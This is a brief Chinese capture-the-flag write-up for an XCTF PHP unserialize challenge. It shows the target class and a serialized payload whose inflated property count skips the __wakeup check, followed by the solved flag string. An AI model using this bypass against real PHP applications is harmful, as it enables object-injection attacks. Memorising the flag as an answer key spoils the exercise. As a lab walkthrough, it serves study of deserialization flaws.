进入场景
解读一下
这个类 xctf 中有一个公共属性 $flag ,其值为 '111' ,并且定义了一个 __wakeup 魔术方法,当对象被反序列化时会自动调用该方法,该方法会输出 'bad requests' 并终止程序的执行。
?code=提示了参数
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$b=new xctf();
$a=serialize($b);
echo $a;
?>
得到的序列化字府串为O:4:"xctf":1:{s:4:"flag";s:3:"111";}
但显示bad requests
更改为O:4:"xctf":3:{s:4:"flag";s:3:"111";}
因为当序列化字符串中属性个数大于实际属性个数时,不会执行反序列化,从而跳过wakeup()
cyberpeace{78705e7756b1f567e931ecf0260e1864}